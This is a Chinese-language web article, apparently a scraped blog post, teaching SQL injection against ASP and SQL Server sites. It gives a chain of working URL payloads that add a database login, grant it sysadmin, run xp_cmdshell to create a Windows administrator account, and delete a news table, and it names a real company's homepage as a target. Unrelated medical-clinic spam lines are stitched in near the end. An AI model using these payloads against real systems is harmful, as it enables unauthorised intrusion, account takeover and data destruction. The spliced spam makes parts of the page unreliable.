数据库的一些攻击物业
对于国内外的很多,BBS和电子商务站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率 也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编 程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷! 这种攻击方法最早源于\'or\'1\'=\'1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND ..... 这种方法请求数据库,那么如果还用以上的例子就会 p?id=2;exec sp_addlogin hax 变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ... 整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法 p?id=2;exec sp_addlogin hax;-- 后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行! 那么我们连一起来用吧 p?id=2;exec _addlogin hax;-- p?id=2;exec _password null,hax,hax;-- p?id=2;exec _addsrvrolemember sysadmin hax;-- p?id=2;exec _cmdshell \'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add\';-- p?id=2;exec _cmdshell \'net localgroup administrators hax /add\';--
70%的友表示支持。 这样,你在他的数据库和系统内都留下了hax管理员账号了 当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。 以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵 当然大家可以试试看在id=2后面加上一个\'符号,主要看对方的ASP怎么写了 再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。 你如天融信的主页,有内容,如下: 大家可以试试看 123;-- 呵呵,报语法错误,select 123错误,显而易见,天融新的ASP在newid变量后面用\'号结束 那么试试看\';delete news;-- 哈哈,我想只要表名猜对了,库就被删了
胃溃疡怎么治疗宿州白癜风医院白癜风医院哪家好
石家庄治疗子宫内膜炎多少钱
- 上一篇:目标适配器
- 下一篇:数据库的一些攻击计划